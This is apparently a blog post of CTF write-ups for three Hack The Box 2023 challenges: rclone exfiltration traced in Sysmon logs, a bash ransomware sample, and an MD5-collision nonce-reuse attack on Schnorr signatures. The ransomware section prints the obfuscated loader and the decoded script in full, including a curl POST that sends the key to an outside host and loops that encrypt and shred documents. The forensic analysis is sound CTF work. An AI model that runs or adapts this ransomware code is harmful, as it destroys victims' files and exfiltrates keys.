HTB Cyber Apocalypse CTF 2023 Challenges Writeups

Last week, I participated in Hack The Box Cyber Apocalypse CTF 2023 as a member of team BKISC and we finished top 29 among 6000+ teams. I was busy with my assignment at school so i could only join in the last 2 days. Here are my writeups for two forensics and one crypto challenges that i solved.

Packet Cyclone

Given file: Get it here!

Description: Pandora’s friend and partner, Wade, is the one that leads the investigation into the relic’s location. Recently, he noticed some weird traffic coming from his host. That led him to believe that his host was compromised. After a quick investigation, his fear was confirmed. Pandora tries now to see if the attacker caused the suspicious traffic during the exfiltration phase. Pandora believes that the malicious actor used rclone to exfiltrate Wade’s research to the cloud. Using the tool called “chainsaw” and the sigma rules provided, can you detect the usage of rclone from the event logs produced by Sysmon? To get the flag, you need to start and connect to the docker service and answer all the questions correctly.

Category: Forensics

Difficulty: Easy

To get the flag, we need to answer these five question correctly:

1.What is the email of the attacker used for the exfiltration process? (for example: name@email.com)

In the file given, there are 2 yaml files. In these files there is a link which is about detecting Rclone. We can follow what they do to answer our questions.

To find the email, i opened Sysmon Operational event log and looked around the events. Then i found this:

This event will help us to answer first four questions.

Answer: majmeret@protonmail.com

2. What is the password of the attacker used for the exfiltration process?

Answer:FBMeavdiaFZbWzpMqIVhJCGXZ5XXZI1qsU3EjhoKQw0rEoQqHyI

3. What is the Cloud storage provider used by the attacker?

Answer: mega

4. What is the ID of the process used by the attackers to configure their tool?

Answer: 3820

5. What is the name of the folder the attacker exfiltrated; provide the full path.

Reading the link mention above, we know that the attacker used command .rclone.exe copy E: remote:data to begin exfiltrated. Hence, i searched for the event that mentions rclone.exe.

Answer: C:\Users\Wade\Desktop\Relic_location

Flag is: HTB{3v3n_3xtr4t3rr3str14l_B31nGs_us3_Rcl0n3_n0w4d4ys}

Bashic Ransomware

Given file: Get it here!

Description: The aliens are gathering their best malware developers to stop Pandora from using the relic to her advantage. They relieved their ancient ransomware techniques hidden for years in ancient tombs of their ancestors. The developed ransomware has now infected Linux servers known to be used by Pandora. The ransom is the relic. If Pandora returns the relic, then her files will be decrypted. Can you help Pandora decrypt her files and save the relic?

Category: Forensics

Difficulty: Hard

We were given four files, including one encrypted flag file, a pcap file and a mem file with their volatility profile which is the zip file.

1. Pcap file

Looking at the pcap file, we can see a long base64 string, i decoded it and get:

  
gH4="Ed";kM0="xSz";c="ch";L="4";rQW="";fE1="lQ";s=" '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rFWesZlWLh3aNZUOH1ERS52QJhWVahlUWlVMadUZ0RWRX9kUwU1V1U1TXpVRhtEcupFdCFjUVVzVTtkRUVWekZUZDRWMZBHZxQFUCNTUGpkRiJHZFFGM0NVZtplRkNVODdlbWdVUVB3dTFzdHJWWsdVT0oURiNlVGZlNatGVrpUVUBzYsFmMjhkTTxGMhZjQE1UY0dlYzh3RhRTWUZlM4V0UYVzaZVFcrlFWkpnUIhnMiJHbtlVNjZUZoZUbUt0aGJ1MOhkV5dWMSBnRUdlcVh0VZlzUkNHctRWN4IDVvp0VTllWupVNnpHTXJlbTlkTrVFbGJjYZp0aURTTsNFN0JzSOxmRNlXVsJGeOZlUyUkbjBDasNUMsdkWyFkaTdnVtp1dB5WTYp1RahnUtlFbOVkU1xWbTdVOVZlSORlYrJVRlpkU65EWOhlTzIEWaZXMHJmcnd0TCh2aWpXQuFVVxs2YRZVRNRkVVJlRwdGVwQmRUVnWEFGeVRlWrZEVlhmVyklRkNDZ1kkbTNjVyoldoREZRxGMhRTVwolSopXU2hGWidlRzEWMOVkV0okMhplWVVlRk5WWoZEMWlkUysESstWYLNGRlVEasRmWCNDZhRmaOFTS6pld0IzY2YlRlhXU6xERCpWWxolVhNlQzEWaCpHZTlzQSNlTwMlQGBjWZxWVVJkVXNlUGVkUKRWbSZEbwQGRsBTYu50aDdFbxolQoBjWS5URUZFZYFVasBDZydGbjVzaxElVk1mVwpkRjJnSH10MKFDTxZVVRpEbrpVcGxGV0Jkek5kWqd1VGZVVKRWMaVkRwMlRkhlUGJleZJEcnNlMRtWWvVzaNlmTY5UNG1WYHRWVZJkRq1UawhlTYxmVlRjUVNVMZxWTUJFWPlXTXR2RxclVrZEbZJkRVJlUWVVU0AzVOFHZU5ESOdlYzU1aZJFbYV1SzVUTYlzahdnSVNmasxWV2RXbRhHOTNmQ1cVW6t2MMVlV6tUYkh0Vrp1VXFFdHRmevZVV4N3VNJTWHVmR5U1YyRmaUJEZERFeNFDVDpkaWBDaqN2Qat2Q4tmVkZXNrFlRoNDVMpkMUtmTuNlQKVVT0MmeTtmRsJlWS1mYNpEWXhXRsFmVxU1VaxWVT5WOD5ESCpnYGpVVSBVNF5ETsV0TUJFVTRzZE9ENVd0Tx82dNBzYU5kcJ5GZ5d3VihXVz0EdCRFZvJFSjZEaXRGcahkV2gmRi1mRwE2dZ1WUwJEWOpmSrNmM4UkT2p1VZ9EZIdVWONDZzIEWS9mRWNGMnRlVth3aNt0bI1EW0l3UrhWRkZXSuRWU41mVHljMMhmWGR1b01WU6h2ROVFZHNVbwJTVL5UbOZVODNmeWVUVHpFWZVjTVFlUsNjWPxGVjBDazYVMNVVZUx2MVlGbsNEeS1WVWhHMWlFeVJmQOhVYtx2VNdXUwQmd0ADTTZ0MjNHZV1EaGJjWzYFRONTT6RmWSh1VUZURa9kSqVlcFhVUpJEWaREbIVmesBTTuZkeZdFbFJGawFlTJh3aXVDbXNlVOxGVwUVVjpXSW10cONDZSx2aUVkT6ZldBRUYyg2VTJTREJFNvZ0YHZlVPtGdH1Uc1IDTVp1aSRDbYdVY0tmWZRGWZVkRw4EMjR1YLl1MOllTFNWNwdkWNlTeNlnTU50VwVUT0kjMLhkTWd1MnpWT6RWMWBlWrZVMFNTU2lEbiJDdH9Uc0lWYEhWRhRTRG5EdGVkTuxmVlBDa6tkMOR1UpZ1aDNDcyE1RkBjY5NHMN1EetJVWaBTVsZURPdXV6p1MsNjUIZEbR5kWwMWRshVY1JkbW5kRuFWYOpmV2YVVSpEbEJFWSVVUFpEMjZXRUlVUktWUPRWVVRHcnNEdwMFT0BTeTRUOFR1QCN1VGRXRJREbFR1QWZUVnFUMSFlQpRlSkVlUDFzUMRHMTxkI9oGZPl3MLdzb0UmV5pGb0lgC7BSKo0UW6RnYzR1Q2YkTYF0M3gHSNZUdKg2chJ2LulmYvEyI
' | r";HxJ="s";Hc2="";f="as";kcE="pas";cEf="ae";d="o";V9z="6";P8c="if";U=" -d";Jc="ef";N0q="";v="b";w="e";b="v |";Tx="Eds";xZp=""
x=$(eval "$Hc2$w$c$rQW$d$s$w$b$Hc2$v$xZp$f$w$V9z$rQW$L$U$xZp")
eval "$N0q$x$Hc2$rQW"

After using python to concat these strings, i got a base64 string, decoded it and i got a bash script:

  
#!/bin/bash
uFMHx73AXNF6CTsbtzYM() {
	tljyVe4o7K3yOdj="LS0tLS1CRUdJTiBQR1AgUFVCTElDIEtFWSBCTE9DSy0tLS0tCgptUUdOQkdQYTEvc0JEQURXRDlJRUV6VjNaanFNVnBuaXlEc0ZNQlFHR3l3ZzUwOEFlU0ZYRmxMM0syb0dGQ2p3CkViSTN2Kzh0eVlnNEFtNFE4aEhDaitqOGt2blIvQ3E1VkZPV1dzMjg3WVNHK294MEpWNTNyMy9MZGp5cENYN3YKcTc0N0FEYXdYZktaWXl4RkZUL25qMGtkOVVGcFo4RDE2SWh2aDAvVzNETklRd3NsMVIzcUU0TlNVSWl5WkxINQphbElWYzFnM0lzeHlDZXBiQXErUjJOZEFTWXRZdzM3NDV3Z2FhMUdsc3FSL04vd0QwMWlmaXNBbUxYV0xVUmRxClliU3lTeUM1V3h0cTlOZ3lRQUN5YXZGUEVzcC9VNmNKU2pmSGdUNGhzQmtoTFZhL29GVmxQdnIvdEhkSytXMHoKMkxmVTg0cVFoRXB3d3NYWHdOYWZvNE82ckJjNXBpQmYwa0FmbFh6VHZpdWhFcHRodTBtM3UxbWwydnIrNTc0Mwo1OGU4ODg4STRTOElLNE5PRUZFbzBHNC9nSUlZWU1ValExWXJMbmRZRlFkSzc4MUJBSnNkT2JLT3hFQk5vdVkxCkZCcjh0VjJCT1MxTDdBTjdrcU9FeGY2MWsxUVozdGtQWWZkWHdaKzVUL3kzYW5BcS8xQmtvUlljcUJwak9XMEsKUXlRYkU3bWNHNTdqNW04QUVRRUFBYlFkVW1GdWMyOXRTMlY1SUR4eVlXNXpiMjFBYUdGamF5NXNiMk5oYkQ2SgpBYzRFRXdFS0FEZ1dJUVFWWjZNdzBtTlFqZklJQUVqL1J3MGJrcFJpVmdVQ1k5clgrd0liQXdVTENRZ0hBZ1lWCkNna0lDd0lFRmdJREFRSWVBUUlYZ0FBS0NSRC9SdzBia3BSaVZ1YjBDLzQxeFV6c24vZzI1Njdad3BZdlhEeDcKaklHK2RIV0FhYndFUUZZa2J4VEN1a3FWbXhvQzhJZ0U4a0lQdDhvZ2V3SnI5d3dFY2VheTFkZTUxaDZuTFd0TgpFRUVDMEVQck1UQnAzVkhBOGgrbG1vZXB3NXNXNzRJeERkbTNJVU9WSmluRENlYmRxZGZXMnAwZmVwSjArZGl1Clh0cnE2RVNxblUyMFlNK2t4SlM4TkJYb2FlUkNISnRWLzg5ZnZYSWJoT285dmpsdS9YWHUrWTFpR1gyVHN3RFkKTmFheFc5Ymlrb2xHRzdXYkpUYk5XSEx2VTY4aGxsbWtaMDB6a0lSNHc2alc0TUJkTkZ6VFVSbEJ4MWlYbGw1SwpUQWVnWC9SdFZmeSt0aEdrbFJFQ3BPT1dpY1dCeFdyeTFKSW5UR1BtZnpKaEZWOU5WU0ROWEdteGZ1YVRXZUhICnRDMG9FMkxKZVlyakRNV0xnR0VXTERMYlhDdURtZXo1M0dwSjN2MHlGckplNGkyZVI1Z0x1OG9UNWlaV0xDNnYKMzdQeVc3bXYyeHZQNGNlZExZdk1CMVZ1UlBuSW01T1U2UjJtelNHQS8zNnBKWHhYU3RjY01JamJ5dDNUbFNxbAordHJyQ2ZHUzNjMzRzVmgrN1RNUHRHZTdCbHR4ZjI5UzhMd1dudUt1R00rNUFZMEVZOXJYK3dFTUFLNW0vdm1TCmJTb3p0cXFzV1dpNTN1UFJ3UWxqejZHd0g5emhDbENzRW4xZk9QRktZc0JLcmpFQXpsRUZ2VTh3UGhiVm5EdFAKNERtRFp0Wk9UN3pxSjFseUdXUnliOEdjSnpHWXYvRDJVcnZaMVZCUHBoUlVNU2lQZUljNnk0ckI5Vkh5ZjVRNApwdmFub1hlWVkyYVd4S09zdUl2aUJDRkJWalE0Q0dqbUlBMkZOdWFwZEFnSFZJRHZmTU9nblorbnRFNVdhSWZlCjBCdzlMK05OaTloV04vODlnMG9BeDNDVksybVVPUUJ3Z3NBR1kvdFdjc3lGc3YwWlRBLzczRXg0U05VMXdtUG0KeDNheVVsTjhhRENPMlhaanBpMitLY0NOV2hpYmFKbWp5SkZzK3ZIbzJ6TlpDaExGQWtObmZzSHczdHdTU1ZNQQovck56UE0zU2xhb2QvK2dDY0xEUEh0Y0xpcGF3RXlHcWRtd0hBakpTaEt4eFJpaG1YbzVoRjc1bUF3ckNSL2g5Ck1zb0phOW5DMDF5NXBMemZ4c1ZZRzBneXhyamdLVEpGcElCWDJ5SmtPSHlDMndrWUg2aVZxbDExMnRmOHpNZ3gKYWFmQnFqenNMZWNzcXZzYzA5SHRnZnpWZVM1bXpUN2dLajMxeXNuNjZxMCtmOVBXREJ5RzF3aHVUUUFSQVFBQgppUUcyQkJnQkNnQWdGaUVFRldlak1OSmpVSTN5Q0FCSS8wY05HNUtVWWxZRkFtUGExL3NDR3d3QUNna1EvMGNOCkc1S1VZbFpBOUF3QXRNOTVITk5QcWVqR0RwZmhmSUhWdy9HZkhKaGRpeUQ2NXJxWE5XckZFdzVJYVpVeWl0WUMKUFVPbmE3bGtFSW05aEkyaVpKc04vWEVnMWw5TVhpRzBHTzRqTjhvT0ZybnNHb3NNbUNJS2p3eDR5US9oTndKNQpuM3Fvb1cvRlErQTRQNmkvZDJERGtZK2NEdDhpUm1LTUhLa3dZcU9VV0hob2wwT3JwT1lYUUIrTjdwSFg5dCtaCld0NjU5YkxpUzRlcGt6YzRDUm9OSHZhZnY0bFdKaGJtWnowSitFd0U2QlBoNWN4WDA3aUEwbDdobjBQSW1jZ0gKKzdUL0xlZWZseHNKeXpiUWlXakd0UC9Ia2ZpbGg5ZStjSjZWcjlsNSs5SEFHaVB1L0JWK05qcTdCb2Mwc0lUKwpLbGFkVzJoUFV1WnQyeSsxaWg3NUtrZGdWb3k0amhhMENsTE9aQ1ZtODhNTXRLWXJ0S2ttZUkrMUtJVFE1NWhGCmRuYWZtaWdxcjB5M0dVTVBseFRRVmR5ZElnRHNzSXhWdlptWG8rd3lNbE4vL0hTS1Q5ZnpwOHhQL1g5bjhZWDcKcmZ1SkdBd3JKbWVLVFdHRWhrOUdOLzk2RTV6N2JOS2RQcWI5WHN3enF4QjMvVTBPWGRHemNpK1h6VURVVVI5cwo3S2dCZ3VXY0xXYWUKPXFqVzcKLS0tLS1FTkQgUEdQIFBVQkxJQyBLRVkgQkxPQ0stLS0tLQ=="
	echo $tljyVe4o7K3yOdj | base64 --decode | gpg --import
	echo -e "5\ny\n" | gpg --command-fd 0 --edit-key "RansomKey" trust
}
MMYPE1MNIGuGPBmyCUo6() {
	DhQ52B6UugM1WcX=`strings /dev/urandom | grep -o '[[:alnum:]]' | head -n 16 | tr -d '\n'`
	echo $DhQ52B6UugM1WcX > RxgXlDqP0h3baha
	gpg --batch --yes -r "RansomKey" -o qgffrqdGlfhrdoE -e RxgXlDqP0h3baha 
	shred -u RxgXlDqP0h3baha
  	curl --request POST --data-binary "@qgffrqdGlfhrdoE" https://files.pypi-install.com/packages/recv.php
  	
	for i in *.txt *.doc *.docx *.pdf *.kdbx *.gz *.rar;
	do
		if [[ ${i} != *"*."* ]];then
	  		echo $DhQ52B6UugM1WcX | gpg --batch --yes -o "$i".a59ap --passphrase-fd 0 --symmetric --cipher-algo AES256 "$i" 2>/dev/null
	  		shred -u "$i" 2>/dev/null
	  	fi
	done
	unset DhQ52B6UugM1WcX
}
v0nPa1GinWR3Dr27cnmT() {
    # Just a function to print strings
}
ExoPFDWb3uT189e() {
	uFMHx73AXNF6CTsbtzYM
	MMYPE1MNIGuGPBmyCUo6
	v0nPa1GinWR3Dr27cnmT
}
if [[ "$(whoami)" == "developer7669633432" ]]; then
	if [ -x "$(command -v gpg)" ]; then
		ExoPFDWb3uT189e
		exit 1
	fi
fi

2. Bash script analyze

I used chatGPT to analyze the script, it was much faster than if i analyze it by myself. There are two functions that we need to notice, uFMHx73AXNF6CTsbtzYM and MMYPE1MNIGuGPBmyCUo6.

The uFMHx73AXNF6CTsbtzYM function decodes a base64 string and imports as a key using GPG.

The MMYPE1MNIGuGPBmyCUo6 function will generate a random string of 16 bytes consists of only alphabet and numbers. Then, it encrypts all files with GPG using the random string as the private key.

Now to find private key, we will immediately think of using volatility3 to find the key in the mem file, as they are the only file that hasn’t been used. However, in this writeup i will present to you an unintended solution as i didn’t figure out to solve it using vol3 in contest’s time.

My unintended solution was a famous trick in forensics, grep. I used GPT to generate a grep command to find a string of 16 bytes consists of only alphabet and numbers.

I try some sussy strings and found that the private key is wJ5kENwyu8amx2RM. Now we just need to decrypt the flag file and get the flag.

Flag is HTB{n0_n33d_t0_r3turn_th3_r3l1c_1_gu3ss}

Colliding Heritage

Description As you arrive at the location of the relic, you discover an ancient tomb that appears to have no visible entrance. However, a scan of the area reveals the presence of unusual RF signals coming from a specific location. With the help of your team, you manage to create an interface to communicate with the signal-emitting device. Unfortunately, the device only grants access to descendants of the pharaoh’s left hand. Can you find a way to enter the tomb?

Category: Crypto

Difficulty: Medium

We were given a file below:

  
#!/usr/bin/env python3

import signal
from secrets import randbelow
from hashlib import md5
from Crypto.Util.number import isPrime, getPrime, long_to_bytes, bytes_to_long

FLAG = "HTB{???????????????????????????}"

class MD5chnorr:

    def __init__(self):
        # while True:
        #     self.q = getPrime(128)
        #     self.p = 2*self.q + 1
        #     if isPrime(self.p):
        #         break
        self.p = 0x16dd987483c08aefa88f28147702e51eb
        self.q = (self.p - 1) // 2
        self.g = 3
        self.x = randbelow(self.q)
        self.y = pow(self.g, self.x, self.p)

    def H(self, msg):
        return bytes_to_long(md5(msg).digest()) % self.q

    def sign(self, msg):
        k = self.H(msg + long_to_bytes(self.x))
        print(f'{k = }')
        r = pow(self.g, k, self.p) % self.q
        e = self.H(long_to_bytes(r) + msg)
        s = (k - self.x * e) % self.q
        return (s, e)

    def verify(self, msg, sig):
        s, e = sig
        if not (0 < s < self.q):
            return False
        if not (0 < e < self.q):
            return False
        rv = pow(self.g, s, self.p) * pow(self.y, e, self.p) % self.p % self.q
        ev = self.H(long_to_bytes(rv) + msg)
        return ev == e

def menu():
    print('[S]ign a message')
    print('[V]erify a signature')
    return input('> ').upper()[0]

def main():
    md5chnorr = MD5chnorr()
    print('g:', md5chnorr.g)
    print('y:', md5chnorr.y)
    print('p:', md5chnorr.p)

    for _ in range(3):
        choice = menu()

        if choice == 'S':
            msg = bytes.fromhex(input('Enter message> '))
            if b'I am the left hand' in msg:
                print('No!')
            else:
                sig = md5chnorr.sign(msg)
                print('Signature:', sig)

        elif choice == 'V':
            msg = bytes.fromhex(input('Enter message> '))
            s = int(input('Enter s> '))
            e = int(input('Enter e> '))
            if md5chnorr.verify(msg, (s, e)):
                if msg == b'I am the left hand':
                    print(FLAG)
                else:
                    print('Valid signature!')
            else:
                print('Invalid signature!')

        else:
            print('Invalid choice...')

if __name__ == '__main__':
    signal.alarm(30)
    main()

Initial Analysis

This challenge implements the Schnorr signature. We were given 4 parameters including the generator $g$, prime $q,p=2*q+1$ and $y=g^{x} [pq]$. To get the flag, we have to submit to verify function a message with its signature such that there is a string I am the left hand in the message. However we can not create signature for any message that has this string via function sign. To solved this challenge, i create a signature by hand by retriving the private key $x$ in sign function.

Solution

After reading on wiki, i noticed a vulnerability section Key leakage from nonce reuse. If we create two signatures with the same nonce $k$, then we have:

\[s_1= k-xe_1 [q]\] \[s_2= k-xe_2 [q]\]

Now we can easily get the private key $x$:

\[x = (s_2 - s_1)(e_1e_2)^{-1}[q]\]

But how can we create two signatures with the same $k$? From the source we know that $k$ is actually md5(msg|x). We can submit any $msg$ we want, so i immediately think of creating the md5 identical-prefix collision using Hashclash. Hashclash will help us to find 2 messages of length 64 that has the same md5 hash, therefore md5(msg|x) or $k$ of these messages will be the same.

After getting $x$, with any message that has the required string we can easily compute $k$ and then $r$, create our own signature $e$ and submit to server to get the flag.

Flag is: HTB{w3ll_y3s_bu7_4c7ual1y_n0…}

HTB Cyber Apocalypse CTF 2023 Challenges Writeups

Packet Cyclone

Bashic Ransomware

1. Pcap file

2. Bash script analyze

Colliding Heritage

Initial Analysis

Solution

Further Reading

ACSC 2023 Writeups

Imaginary CTF 2023 Challenges Writeups

My 2023